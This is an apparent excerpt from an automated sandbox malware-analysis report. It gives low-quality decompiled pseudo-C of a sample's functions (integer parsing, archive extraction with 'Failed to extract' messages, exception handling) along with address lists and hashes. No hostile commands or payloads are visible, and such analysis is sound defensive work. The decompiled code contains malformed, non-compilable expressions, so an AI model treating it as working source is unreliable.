				E00007FF77FF7DA8E9D00();
				goto 0xda8e01f1;
				if (r15d == 0) goto 0xda8e0209;
				_t4 = _t403 - 2; // 0xe
				if (_t4 - 0x22 <= 0) goto 0xda8e0209;
				_v176 = __rcx;
				r9d = 0;
				 *((char*)(__rcx + 0x30)) = 1;
				r8d = 0;
				 *(__rcx + 0x2c) = 0x16;
				_v184 = __r10;
				E00007FF77FF7DA8E9C34(__rax, __rbx, __rcx, __rdx, _t398, _t399, __r8);
				_t388 = _t397[1];
				if (_t388 == 0) goto 0xda8e0839;
				 *_t388 =  *_t397;
				goto 0xda8e0839;
				_t10 = _t408 + 2; // 0x2
				_t389 = _t10;
				_t144 = r9b & 0xffffffff;
				r14d = r10d;
				 *_t394 = _t389;
				_t262 =  !=  ? _t144 : _t144 | 0x00000002;
				if ((0x0000fffd & _t385 - 0x0000002b) != 0) goto 0xda8e0240;
				_t206 =  *_t389 & 0x0000ffff;
				_t14 =  &(_t389[1]); // 0x4
				_t380 = _t14;
				 *_t397 = _t380;
				_a16 = 0x9f0;
				_v168 = 0xa66;
				_v164 = 0xa70;
				_v160 = 0xae6;
				r8d = 0x660;
				_v156 = 0xaf0;
				_t20 = _t380 - 0x80; // 0x5e0
				r11d = _t20;
				_v152 = 0xb66;
				r9d = 0x6f0;
				_v148 = 0xb70;
				_v144 = 0xc66;
				_v140 = 0xc70;
				_v136 = 0xce6;
				_v132 = 0xcf0;
				_v128 = 0xd66;
				_v124 = 0xd70;
				_v120 = 0xe50;
				_v116 = 0xe5a;
				_v112 = 0xed0;
				_v108 = 0xeda;
				_v104 = 0xf20;
				_v100 = 0xf2a;
				_v96 = 0x1040;
				_v92 = 0x104a;
				_v88 = 0x17e0;
				_v84 = 0x17ea;
				_v80 = 0x1810;
				_v76 = 0xff1a;
				_v72 = 0x19;
				if ((r15d & 0xffffffef) != 0) goto 0xda8e05ab;
				if (_t206 - 0x30 < 0) goto 0xda8e0517;
				if (_t206 - 0x3a >= 0) goto 0xda8e0367;
				goto 0xda8e0512;
				if (_t206 - 0xff10 >= 0) goto 0xda8e0503;
				if (_t206 - r8w < 0) goto 0xda8e0517;
				if (_t206 - 0x66a >= 0) goto 0xda8e038f;
				goto 0xda8e0512;
				if (_t206 - r9w < 0) goto 0xda8e0517;
				if (_t206 - 0x6fa >= 0) goto 0xda8e03ae;
				goto 0xda8e0512;
				if (_t206 - r11w < 0) goto 0xda8e0517;
				if (_t206 - 0x970 >= 0) goto 0xda8e03cd;
				goto 0xda8e0512;
				if (_t206 - (_t206 & 0x0000ffff) - r11d < 0) goto 0xda8e0517;
				if (_t206 - _a16 >= 0) goto 0xda8e03ed;
				goto 0xda8e0512;
				if (_t206 - _v168 < 0) goto 0xda8e0517;
				if (_t206 - _v164 < 0) goto 0xda8e035d;
				_t47 =  &_v160; // 0xae6
				if (_t206 -  *_t47 < 0) goto 0xda8e0517;
				if (_t206 - _v156 < 0) goto 0xda8e035d;
				if (_t206 - _v152 < 0) goto 0xda8e0517;
				if (_t206 - _v148 < 0) goto 0xda8e035d;
				if (_t206 - _v144 < 0) goto 0xda8e0517;
				if (_t206 - _v140 < 0) goto 0xda8e035d;
				if (_t206 - _v136 < 0) goto 0xda8e0517;
				if (_t206 - _v132 < 0) goto 0xda8e035d;
				if (_t206 - _v128 < 0) goto 0xda8e0517;
				if (_t206 - _v124 < 0) goto 0xda8e035d;
				if (_t206 - _v120 < 0) goto 0xda8e0517;
				if (_t206 - _v116 < 0) goto 0xda8e035d;
				if (_t206 - _v112 < 0) goto 0xda8e0517;
				if (_t206 - _v108 < 0) goto 0xda8e035d;
				if (_t206 - _v104 < 0) goto 0xda8e0517;
				if (_t206 - _v100 < 0) goto 0xda8e035d;
				if (_t206 - _v96 < 0) goto 0xda8e0517;
				if (_t206 - _v92 < 0) goto 0xda8e035d;
				if (_t206 - _v88 < 0) goto 0xda8e0517;
				if (_t206 - _v84 < 0) goto 0xda8e035d;
				if ((_t206 & 0x0000ffff) - _v80 - 9 > 0) goto 0xda8e0517;
				goto 0xda8e035d;
				if (_t206 - _v76 >= 0) goto 0xda8e0517;
				if ((_t206 & 0x0000ffff) - 0xff10 != 0xffffffff) goto 0xda8e0539;
				_t254 = _v72;
				_t70 = _t389 - 0x41; // 0x6af
				_t71 = _t389 - 0x61; // 0x68f
				_t162 = _t71;
				if (_t70 - _t254 <= 0) goto 0xda8e052f;
				if (_t162 - _t254 > 0) goto 0xda8e059c;
				if (_t162 - _t254 > 0) goto 0xda8e0536;
				_t72 = _t389 - 0x37; // 0x5d9
				if (_t72 != 0) goto 0xda8e059c;
				_t390 =  *_t397;
				r9d = 0xffdf;
				_t255 =  *_t390 & 0x0000ffff;
				_t73 =  &(_t390[1]); // 0xffe1
				_t404 = _t73;
				 *_t397 = _t404;
				_t74 = _t394 - 0x58; // -63
				if ((r9w & _t74) == 0) goto 0xda8e058a;
				 *_t397 = _t390;
				_t166 =  !=  ? r15d : 8;
				r15d =  !=  ? r15d : 8;
				if (_t255 == 0) goto 0xda8e05ab;
				if ( *_t390 == _t255) goto 0xda8e05ab;
				E00007FF77FF7DA8E4394(_t380);
				 *_t380 = 0x16;
				E00007FF77FF7DA8E9D00();
				r10d = 0;
				goto 0xda8e05ab;
				_t207 =  *_t404 & 0x0000ffff;
				_t77 =  &(_t404[1]); // 0xffe3
				_t381 = _t77;
				 *_t397 = _t381;
				goto 0xda8e05a1;
				_t171 =  !=  ? r15d : 0xa;
				r15d = 0xa;
				_t172 = ( !=  ? r15d : 0xa) | 0xffffffff;
				_t79 = (( !=  ? r15d : 0xa) | 0xffffffff) % r15d;
				_t257 = (( !=  ? r15d : 0xa) | 0xffffffff) % r15d;
				r11d = 0x61;
				r9d = 0xa / r15d;
				r12d = 0xff10;
				_t82 = _t407 - 0x31; // 0x5af
				r13d = _t82;
				if (_t207 - r13w < 0) goto 0xda8e077a;
				if (_t207 - 0x3a >= 0) goto 0xda8e05e6;
				goto 0xda8e0775;
				if (_t207 - r12w >= 0) goto 0xda8e0765;
				if (_t207 - 0x660 < 0) goto 0xda8e077a;
				if (_t207 - 0x66a >= 0) goto 0xda8e060d;
				goto 0xda8e0775;
				if (_t207 - 0x6f0 < 0) goto 0xda8e077a;
				_t83 =  &(_t381[5]); // 0x6fa
				if (_t207 - _t83 >= 0) goto 0xda8e062d;
				goto 0xda8e0775;
				if (_t207 - 0x966 < 0) goto 0xda8e077a;
				_t84 =  &(_t381[5]); // 0x970
				if (_t207 - _t84 < 0) goto 0xda8e0623;
				_t85 =  &(_t390[0x3b]); // 0x9e6
				if (_t207 - _t85 < 0) goto 0xda8e077a;
				if (_t207 - _a16 < 0) goto 0xda8e0623;
				if (_t207 - _v168 < 0) goto 0xda8e077a;
				if (_t207 - _v164 < 0) goto 0xda8e0623;
				if (_t207 - _v160 < 0) goto 0xda8e077a;
				if (_t207 - _v156 < 0) goto 0xda8e0623;
				if (_t207 - _v152 < 0) goto 0xda8e077a;
				if (_t207 - _v148 < 0) goto 0xda8e0623;
				if (_t207 - _v144 < 0) goto 0xda8e077a;
				if (_t207 - _v140 < 0) goto 0xda8e0623;
				if (_t207 - _v136 < 0) goto 0xda8e077a;
				if (_t207 - _v132 < 0) goto 0xda8e0623;
				if (_t207 - _v128 < 0) goto 0xda8e077a;
				if (_t207 - _v124 < 0) goto 0xda8e0623;
				if (_t207 - _v120 < 0) goto 0xda8e077a;
				if (_t207 - _v116 < 0) goto 0xda8e0623;
				if (_t207 - _v112 < 0) goto 0xda8e077a;
				if (_t207 - _v108 < 0) goto 0xda8e0623;
				if (_t207 - _v104 < 0) goto 0xda8e077a;
				if (_t207 - _v100 < 0) goto 0xda8e0623;
				if (_t207 - _v96 < 0) goto 0xda8e077a;
				if (_t207 - _v92 < 0) goto 0xda8e0623;
				if (_t207 - _v88 < 0) goto 0xda8e077a;
				if (_t207 - _v84 < 0) goto 0xda8e0623;
				if ((_t207 & 0x0000ffff) - _v80 - 9 > 0) goto 0xda8e077a;
				goto 0xda8e0775;
				if (_t207 - _v76 >= 0) goto 0xda8e077a;
				if ((_t207 & 0x0000ffff) - r12d != 0xffffffff) goto 0xda8e07ae;
				_t240 = _t207 & 0x0000ffff;
				if (_t240 - 0x41 < 0) goto 0xda8e0787;
				if (_t240 - 0x5a <= 0) goto 0xda8e0792;
				if (_t240 - r11d < 0) goto 0xda8e07ab;
				if (_t207 - 0x7a > 0) goto 0xda8e07ab;
				if ((_t207 & 0x0000ffff) - r11w - _v72 > 0) goto 0xda8e07a6;
				goto 0xda8e07ae;
				_t405 =  *_t397;
				if ((_t240 + 0x1ffffffa9 | 0xffffffff) - r15d >= 0) goto 0xda8e07ee;
				_t208 =  *_t405 & 0x0000ffff;
				_t259 = _t381 + _t390;
				r14d = _t259;
				_t117 =  &(_t405[1]); // 0x12
				 *_t397 = _t117;
				_t263 = ( !=  ? _t144 : _t144 | 0x00000002) | (r10d & 0xffffff00 | _t259 - r14d * r15d > 0x00000000 | r10d & 0xffffff00 | r14d - r9d > 0x00000000) << 0x00000002 | 0x00000008;
				goto 0xda8e05cb;
				_t409 = _v64;
				_t119 = _t405 - 2; // 0xe
				_t383 = _t119;
				_t410 = _a8;
				 *_t397 = _t383;
				if (_t208 == 0) goto 0xda8e0824;
				if ( *_t383 == _t208) goto 0xda8e0824;
				E00007FF77FF7DA8E4394(_t383);
				 *_t383 = 0x16;
				E00007FF77FF7DA8E9D00();
				if ((sil & 0x00000008) != 0) goto 0xda8e0840;
				_t384 = _t397[1];
				 *_t397 = _t409;
				if (_t384 == 0) goto 0xda8e0839;
				 *_t384 = _t409;
				goto 0xda8e08d2;
				r8d = 0x80000000;
				_t124 = _t405 - 1; // 0xf
				r9d = _t124;
				if ((sil & 0x00000004) == 0) goto 0xda8e0859;
				goto 0xda8e0877;
				if ((sil & 0x00000001) == 0) goto 0xda8e08b8;
				if ((bpl & sil) == 0) goto 0xda8e086b;
				if (r14d - r8d <= 0) goto 0xda8e08bd;
				goto 0xda8e0870;
				if (r14d - r9d <= 0) goto 0xda8e08c0;
				 *((char*)(_t410 + 0x30)) = 1;
				 *((intOrPtr*)(_t410 + 0x2c)) = 0x22;
				if ((_t263 & 0x00000001) != 0) goto 0xda8e0890;
				r14d = r14d | 0xffffffff;
				goto 0xda8e08c0;
				_t395 = _t397[1];
				if ((0x00000002 & _t263) == 0) goto 0xda8e08a8;
				if (_t395 == 0) goto 0xda8e08a3;
				 *_t395 =  *_t397;
				goto 0xda8e08d2;
				if (_t395 == 0) goto 0xda8e08b3;
				 *_t395 =  *_t397;
				goto 0xda8e08d2;
				if ((bpl & sil) == 0) goto 0xda8e08c0;
				r14d =  ~r14d;
				_t396 = _t397[1];
				if (_t396 == 0) goto 0xda8e08cf;
				 *_t396 =  *_t397;
				return r14d;
			}
































































                                                                                                                              0x7ff7da8e0178
                                                                                                                              0x7ff7da8e0178
                                                                                                                              0x7ff7da8e0178
                                                                                                                              0x7ff7da8e0178
                                                                                                                              0x7ff7da8e0178
                                                                                                                              0x7ff7da8e017d
                                                                                                                              0x7ff7da8e0194
                                                                                                                              0x7ff7da8e0197
                                                                                                                              0x7ff7da8e019a
                                                                                                                              0x7ff7da8e01a2
                                                                                                                              0x7ff7da8e01a5
                                                                                                                              0x7ff7da8e01ab
                                                                                                                              0x7ff7da8e01ad
                                                                                                                              0x7ff7da8e01b2
                                                                                                                              0x7ff7da8e01b8
                                                                                                                              0x7ff7da8e01bd
                                                                                                                              0x7ff7da8e01c2
                                                                                                                              0x7ff7da8e01c4
                                                                                                                              0x7ff7da8e01cb
                                                                                                                              0x7ff7da8e01cd
                                                                                                                              0x7ff7da8e01d2
                                                                                                                              0x7ff7da8e01d5
                                                                                                                              0x7ff7da8e01d9
                                                                                                                              0x7ff7da8e01dc
                                                                                                                              0x7ff7da8e01e7
                                                                                                                              0x7ff7da8e01ec
                                                                                                                              0x7ff7da8e01f1
                                                                                                                              0x7ff7da8e01f8
                                                                                                                              0x7ff7da8e0201
                                                                                                                              0x7ff7da8e0204
                                                                                                                              0x7ff7da8e020e
                                                                                                                              0x7ff7da8e020e
                                                                                                                              0x7ff7da8e0213
                                                                                                                              0x7ff7da8e0217
                                                                                                                              0x7ff7da8e021c
                                                                                                                              0x7ff7da8e022b
                                                                                                                              0x7ff7da8e0234
                                                                                                                              0x7ff7da8e0236
                                                                                                                              0x7ff7da8e0239
                                                                                                                              0x7ff7da8e0239
                                                                                                                              0x7ff7da8e023d
                                                                                                                              0x7ff7da8e0240
                                                                                                                              0x7ff7da8e0250
                                                                                                                              0x7ff7da8e025d
                                                                                                                              0x7ff7da8e026a
                                                                                                                              0x7ff7da8e0272
                                                                                                                              0x7ff7da8e0278
                                                                                                                              0x7ff7da8e0280
                                                                                                                              0x7ff7da8e0280
                                                                                                                              0x7ff7da8e0284
                                                                                                                              0x7ff7da8e028c
                                                                                                                              0x7ff7da8e0292
                                                                                                                              0x7ff7da8e029a
                                                                                                                              0x7ff7da8e02a2
                                                                                                                              0x7ff7da8e02aa
                                                                                                                              0x7ff7da8e02b2
                                                                                                                              0x7ff7da8e02ba
                                                                                                                              0x7ff7da8e02c2
                                                                                                                              0x7ff7da8e02ca
                                                                                                                              0x7ff7da8e02d2
                                                                                                                              0x7ff7da8e02da
                                                                                                                              0x7ff7da8e02e2
                                                                                                                              0x7ff7da8e02ea
                                                                                                                              0x7ff7da8e02f2
                                                                                                                              0x7ff7da8e02fa
                                                                                                                              0x7ff7da8e0302
                                                                                                                              0x7ff7da8e030a
                                                                                                                              0x7ff7da8e0315
                                                                                                                              0x7ff7da8e0320
                                                                                                                              0x7ff7da8e032b
                                                                                                                              0x7ff7da8e0336
                                                                                                                              0x7ff7da8e0348
                                                                                                                              0x7ff7da8e0351
                                                                                                                              0x7ff7da8e035b
                                                                                                                              0x7ff7da8e0362
                                                                                                                              0x7ff7da8e036a
                                                                                                                              0x7ff7da8e0374
                                                                                                                              0x7ff7da8e0382
                                                                                                                              0x7ff7da8e038a
                                                                                                                              0x7ff7da8e0393
                                                                                                                              0x7ff7da8e03a1
                                                                                                                              0x7ff7da8e03a9
                                                                                                                              0x7ff7da8e03b2
                                                                                                                              0x7ff7da8e03c0
                                                                                                                              0x7ff7da8e03c8
                                                                                                                              0x7ff7da8e03d0
                                                                                                                              0x7ff7da8e03de
                                                                                                                              0x7ff7da8e03e8
                                                                                                                              0x7ff7da8e03f4
                                                                                                                              0x7ff7da8e03ff
                                                                                                                              0x7ff7da8e0405
                                                                                                                              0x7ff7da8e040c
                                                                                                                              0x7ff7da8e0417
                                                                                                                              0x7ff7da8e0424
                                                                                                                              0x7ff7da8e042f
                                                                                                                              0x7ff7da8e043c
                                                                                                                              0x7ff7da8e0447
                                                                                                                              0x7ff7da8e0454
                                                                                                                              0x7ff7da8e045f
                                                                                                                              0x7ff7da8e046c
                                                                                                                              0x7ff7da8e0477
                                                                                                                              0x7ff7da8e0484
                                                                                                                              0x7ff7da8e048f
                                                                                                                              0x7ff7da8e049c
                                                                                                                              0x7ff7da8e04a3
                                                                                                                              0x7ff7da8e04b0
                                                                                                                              0x7ff7da8e04b7
                                                                                                                              0x7ff7da8e04c4
                                                                                                                              0x7ff7da8e04cb
                                                                                                                              0x7ff7da8e04db
                                                                                                                              0x7ff7da8e04e5
                                                                                                                              0x7ff7da8e04fc
                                                                                                                              0x7ff7da8e04fe
                                                                                                                              0x7ff7da8e050b
                                                                                                                              0x7ff7da8e0515
                                                                                                                              0x7ff7da8e0517
                                                                                                                              0x7ff7da8e0521
                                                                                                                              0x7ff7da8e0526
                                                                                                                              0x7ff7da8e0526
                                                                                                                              0x7ff7da8e0529
                                                                                                                              0x7ff7da8e052d
                                                                                                                              0x7ff7da8e0531
                                                                                                                              0x7ff7da8e0536
                                                                                                                              0x7ff7da8e053b
                                                                                                                              0x7ff7da8e053d
                                                                                                                              0x7ff7da8e0540
                                                                                                                              0x7ff7da8e0546
                                                                                                                              0x7ff7da8e0549
                                                                                                                              0x7ff7da8e0549
                                                                                                                              0x7ff7da8e054d
                                                                                                                              0x7ff7da8e0550
                                                                                                                              0x7ff7da8e0557
                                                                                                                              0x7ff7da8e055c
                                                                                                                              0x7ff7da8e0564
                                                                                                                              0x7ff7da8e0568
                                                                                                                              0x7ff7da8e056e
                                                                                                                              0x7ff7da8e0573
                                                                                                                              0x7ff7da8e0575
                                                                                                                              0x7ff7da8e057a
                                                                                                                              0x7ff7da8e0580
                                                                                                                              0x7ff7da8e0585
                                                                                                                              0x7ff7da8e0588
                                                                                                                              0x7ff7da8e058a
                                                                                                                              0x7ff7da8e058e
                                                                                                                              0x7ff7da8e058e
                                                                                                                              0x7ff7da8e0592
                                                                                                                              0x7ff7da8e059a
                                                                                                                              0x7ff7da8e05a4
                                                                                                                              0x7ff7da8e05a8
                                                                                                                              0x7ff7da8e05ad
                                                                                                                              0x7ff7da8e05b0
                                                                                                                              0x7ff7da8e05b0
                                                                                                                              0x7ff7da8e05b3
                                                                                                                              0x7ff7da8e05be
                                                                                                                              0x7ff7da8e05c1
                                                                                                                              0x7ff7da8e05c7
                                                                                                                              0x7ff7da8e05c7
                                                                                                                              0x7ff7da8e05cf
                                                                                                                              0x7ff7da8e05d9
                                                                                                                              0x7ff7da8e05e1
                                                                                                                              0x7ff7da8e05ea
                                                                                                                              0x7ff7da8e05f3
                                                                                                                              0x7ff7da8e0601
                                                                                                                              0x7ff7da8e0608
                                                                                                                              0x7ff7da8e0615
                                                                                                                              0x7ff7da8e061b
                                                                                                                              0x7ff7da8e0621
                                                                                                                              0x7ff7da8e0628
                                                                                                                              0x7ff7da8e0635
                                                                                                                              0x7ff7da8e063b
                                                                                                                              0x7ff7da8e0641
                                                                                                                              0x7ff7da8e0643
                                                                                                                              0x7ff7da8e0649
                                                                                                                              0x7ff7da8e0657
                                                                                                                              0x7ff7da8e0660
                                                                                                                              0x7ff7da8e066b
                                                                                                                              0x7ff7da8e0674
                                                                                                                              0x7ff7da8e067f
                                                                                                                              0x7ff7da8e0688
                                                                                                                              0x7ff7da8e0693
                                                                                                                              0x7ff7da8e069c
                                                                                                                              0x7ff7da8e06a7
                                                                                                                              0x7ff7da8e06b4
                                                                                                                              0x7ff7da8e06bf
                                                                                                                              0x7ff7da8e06cc
                                                                                                                              0x7ff7da8e06d7
                                                                                                                              0x7ff7da8e06e4
                                                                                                                              0x7ff7da8e06ef
                                                                                                                              0x7ff7da8e06fc
                                                                                                                              0x7ff7da8e0703
                                                                                                                              0x7ff7da8e0710
                                                                                                                              0x7ff7da8e0717
                                                                                                                              0x7ff7da8e0724
                                                                                                                              0x7ff7da8e072b
                                                                                                                              0x7ff7da8e073b
                                                                                                                              0x7ff7da8e0745
                                                                                                                              0x7ff7da8e075c
                                                                                                                              0x7ff7da8e0763
                                                                                                                              0x7ff7da8e076d
                                                                                                                              0x7ff7da8e0778
                                                                                                                              0x7ff7da8e077a
                                                                                                                              0x7ff7da8e0780
                                                                                                                              0x7ff7da8e0785
                                                                                                                              0x7ff7da8e078a
                                                                                                                              0x7ff7da8e0790
                                                                                                                              0x7ff7da8e07a1
                                                                                                                              0x7ff7da8e07a9
                                                                                                                              0x7ff7da8e07ae
                                                                                                                              0x7ff7da8e07b4
                                                                                                                              0x7ff7da8e07b6
                                                                                                                              0x7ff7da8e07c1
                                                                                                                              0x7ff7da8e07d2
                                                                                                                              0x7ff7da8e07da
                                                                                                                              0x7ff7da8e07e4
                                                                                                                              0x7ff7da8e07e7
                                                                                                                              0x7ff7da8e07e9
                                                                                                                              0x7ff7da8e07ee
                                                                                                                              0x7ff7da8e07f6
                                                                                                                              0x7ff7da8e07f6
                                                                                                                              0x7ff7da8e07fa
                                                                                                                              0x7ff7da8e0807
                                                                                                                              0x7ff7da8e080d
                                                                                                                              0x7ff7da8e0812
                                                                                                                              0x7ff7da8e0814
                                                                                                                              0x7ff7da8e0819
                                                                                                                              0x7ff7da8e081f
                                                                                                                              0x7ff7da8e0828
                                                                                                                              0x7ff7da8e082a
                                                                                                                              0x7ff7da8e082e
                                                                                                                              0x7ff7da8e0834
                                                                                                                              0x7ff7da8e0836
                                                                                                                              0x7ff7da8e083b
                                                                                                                              0x7ff7da8e0840
                                                                                                                              0x7ff7da8e0846
                                                                                                                              0x7ff7da8e0846
                                                                                                                              0x7ff7da8e084e
                                                                                                                              0x7ff7da8e0857
                                                                                                                              0x7ff7da8e085d
                                                                                                                              0x7ff7da8e0862
                                                                                                                              0x7ff7da8e0867
                                                                                                                              0x7ff7da8e0869
                                                                                                                              0x7ff7da8e086e
                                                                                                                              0x7ff7da8e0879
                                                                                                                              0x7ff7da8e087e
                                                                                                                              0x7ff7da8e0888
                                                                                                                              0x7ff7da8e088a
                                                                                                                              0x7ff7da8e088e
                                                                                                                              0x7ff7da8e0890
                                                                                                                              0x7ff7da8e0896
                                                                                                                              0x7ff7da8e089b
                                                                                                                              0x7ff7da8e08a0
                                                                                                                              0x7ff7da8e08a6
                                                                                                                              0x7ff7da8e08ab
                                                                                                                              0x7ff7da8e08b0
                                                                                                                              0x7ff7da8e08b6
                                                                                                                              0x7ff7da8e08bb
                                                                                                                              0x7ff7da8e08bd
                                                                                                                              0x7ff7da8e08c0
                                                                                                                              0x7ff7da8e08c7
                                                                                                                              0x7ff7da8e08cc
                                                                                                                              0x7ff7da8e08ec

                                                                                                                              APIs
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000000.00000002.339090214.00007FF7DA8D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7DA8D0000, based on PE: true
                                                                                                                              • Associated: 00000000.00000002.339080100.00007FF7DA8D0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339117101.00007FF7DA8FA000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA90D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA91C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339173734.00007FF7DA91E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_0_2_7ff7da8d0000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: _invalid_parameter_noinfo
                                                                                                                              • String ID: f$f$p$p$f
                                                                                                                              • API String ID: 3215553584-1325933183
                                                                                                                              • Opcode ID: 864902cbb2e935f55fbb0b0f358a3d1305b233c90ffe52d12db1516ed6b7c985
                                                                                                                              • Instruction ID: 2626698016375ed4ef662938865a372bb064202d945700eb323fef4a9af06217
                                                                                                                              • Opcode Fuzzy Hash: 864902cbb2e935f55fbb0b0f358a3d1305b233c90ffe52d12db1516ed6b7c985
                                                                                                                              • Instruction Fuzzy Hash: 4912B261E4C1C3C6FB216A14A41437DE271FBA0751FC84877EED9465C6DB3EEAA08B60
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FF7DA8D12B0 Relevance: 14.1, APIs: 1, Strings: 7, Instructions: 106COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              C-Code - Quality: 27%
                                                                                                                              			E00007FF77FF7DA8D12B0(long long* __rcx, void* __rdx) {
				long long _t8;
				void* _t15;
				void* _t16;
				void* _t17;

				_t8 =  *((intOrPtr*)(__rcx));
				_t15 = __rdx;
				if (_t8 != 0) goto 0xda8d12f8;
				E00007FF77FF7DA8D3C90(_t8, __rcx + 0x78, "rb");
				 *__rcx = _t8;
				if (_t8 != 0) goto 0xda8d12f8;
				E00007FF77FF7DA8D2770(_t8, "Failed to extract %s: failed to open archive file!\n", _t15 + 0x12, _t16, _t17);
				return 0;
			}







                                                                                                                              0x7ff7da8d12b8
                                                                                                                              0x7ff7da8d12bb
                                                                                                                              0x7ff7da8d12c4
                                                                                                                              0x7ff7da8d12d1
                                                                                                                              0x7ff7da8d12d6
                                                                                                                              0x7ff7da8d12dc
                                                                                                                              0x7ff7da8d12e9
                                                                                                                              0x7ff7da8d12f7

                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000000.00000002.339090214.00007FF7DA8D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7DA8D0000, based on PE: true
                                                                                                                              • Associated: 00000000.00000002.339080100.00007FF7DA8D0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339117101.00007FF7DA8FA000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA90D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA91C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339173734.00007FF7DA91E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_0_2_7ff7da8d0000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: Message
                                                                                                                              • String ID: Failed to extract %s: failed to allocate data buffer (%u bytes)!$Failed to extract %s: failed to open archive file!$Failed to extract %s: failed to read data chunk!$Failed to extract %s: failed to seek to the entry's data!$fread$fseek$malloc
                                                                                                                              • API String ID: 2030045667-3659356012
                                                                                                                              • Opcode ID: d04994770d20bc8b87cee252e72671c639bd0cc3f5f71e9771cfb58c8c8dd849
                                                                                                                              • Instruction ID: 8a11dc1239a9cf9794e03606c88363f32ab4b053f65afcb60a148990fb80bc73
                                                                                                                              • Opcode Fuzzy Hash: d04994770d20bc8b87cee252e72671c639bd0cc3f5f71e9771cfb58c8c8dd849
                                                                                                                              • Instruction Fuzzy Hash: 41417C21A0864385FE16FB11E4006AEE3A1FF54B94FC84473DE4D07A96EE7DE5628320
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FF7DA8DDB90 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 317COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              C-Code - Quality: 66%
                                                                                                                              			E00007FF77FF7DA8DDB90(intOrPtr __ecx, void* __edx, void* __esi, intOrPtr* __rcx, long long __rdx, long long __r8, long long __r9, void* __r10) {
				void* __rbx;
				void* __rdi;
				void* __rsi;
				void* __rbp;
				signed int* _t128;
				void* _t145;
				intOrPtr _t146;
				intOrPtr _t154;
				void* _t173;
				intOrPtr _t176;
				signed int _t177;
				signed int _t178;
				void* _t209;
				signed long long _t219;
				signed long long _t220;
				signed long long _t226;
				long long _t228;
				signed int _t235;
				intOrPtr* _t236;
				intOrPtr* _t237;
				signed long long _t246;
				long long _t267;
				signed int* _t280;
				long long _t281;
				void* _t282;
				void* _t283;
				signed long long _t284;
				long long _t296;
				signed int _t307;
				unsigned long long _t313;

				_t180 = __esi;
				_t282 = _t283 - 0x28;
				_t284 = _t283 - 0x128;
				_t219 =  *0xda90d008; // 0xde4e6c2f3c2e
				_t220 = _t219 ^ _t284;
				 *(_t282 + 0x10) = _t220;
				_t280 =  *((intOrPtr*)(_t282 + 0x90));
				_t307 =  *((intOrPtr*)(_t282 + 0xa8));
				 *((long long*)(_t284 + 0x68)) = __r8;
				_t236 = __rcx;
				 *((long long*)(_t284 + 0x78)) = __rdx;
				 *(_t282 - 0x68) = _t307;
				 *((char*)(_t284 + 0x60)) = 0;
				_t281 = __r9;
				_t128 = E00007FF77FF7DA8DEAF0(__ecx, __esi, __rcx, __rdx, __r9, __r9, _t282, _t280, __r9);
				r14d = _t128;
				if (_t128 - 0xffffffff < 0) goto 0xda8de05f;
				if (_t128 - _t280[1] >= 0) goto 0xda8de05f;
				if ( *_t236 != 0xe06d7363) goto 0xda8ddcdc;
				if ( *((intOrPtr*)(_t236 + 0x18)) != 4) goto 0xda8ddcdc;
				if ( *((intOrPtr*)(_t236 + 0x20)) - 0x19930520 - 2 > 0) goto 0xda8ddcdc;
				if ( *((long long*)(_t236 + 0x30)) != 0) goto 0xda8ddcdc;
				E00007FF77FF7DA8DCC80(_t220);
				if ( *((long long*)(_t220 + 0x20)) == 0) goto 0xda8ddff8;
				E00007FF77FF7DA8DCC80(_t220);
				_t237 =  *((intOrPtr*)(_t220 + 0x20));
				E00007FF77FF7DA8DCC80(_t220);
				 *((char*)(_t284 + 0x60)) = 1;
				 *((long long*)(_t284 + 0x68)) =  *((intOrPtr*)(_t220 + 0x28));
				E00007FF77FF7DA8DD650(_t220,  *((intOrPtr*)(_t237 + 0x38)));
				if ( *_t237 != 0xe06d7363) goto 0xda8ddc94;
				if ( *((intOrPtr*)(_t237 + 0x18)) != 4) goto 0xda8ddc94;
				if ( *((intOrPtr*)(_t237 + 0x20)) - 0x19930520 - 2 > 0) goto 0xda8ddc94;
				if ( *((long long*)(_t237 + 0x30)) == 0) goto 0xda8de05f;
				E00007FF77FF7DA8DCC80(_t220);
				if ( *(_t220 + 0x38) == 0) goto 0xda8ddcdc;
				E00007FF77FF7DA8DCC80(_t220);
				E00007FF77FF7DA8DCC80(_t220);
				 *(_t220 + 0x38) =  *(_t220 + 0x38) & 0x00000000;
				if (E00007FF77FF7DA8DEB88(_t220, _t237, _t237,  *(_t220 + 0x38), __r9) != 0) goto 0xda8ddcd7;
				if (E00007FF77FF7DA8DEC78(_t220, _t237,  *(_t220 + 0x38), __r9, _t282) == 0) goto 0xda8de03c;
				goto 0xda8de018;
				 *((long long*)(_t282 - 0x40)) =  *((intOrPtr*)(__r9 + 8));
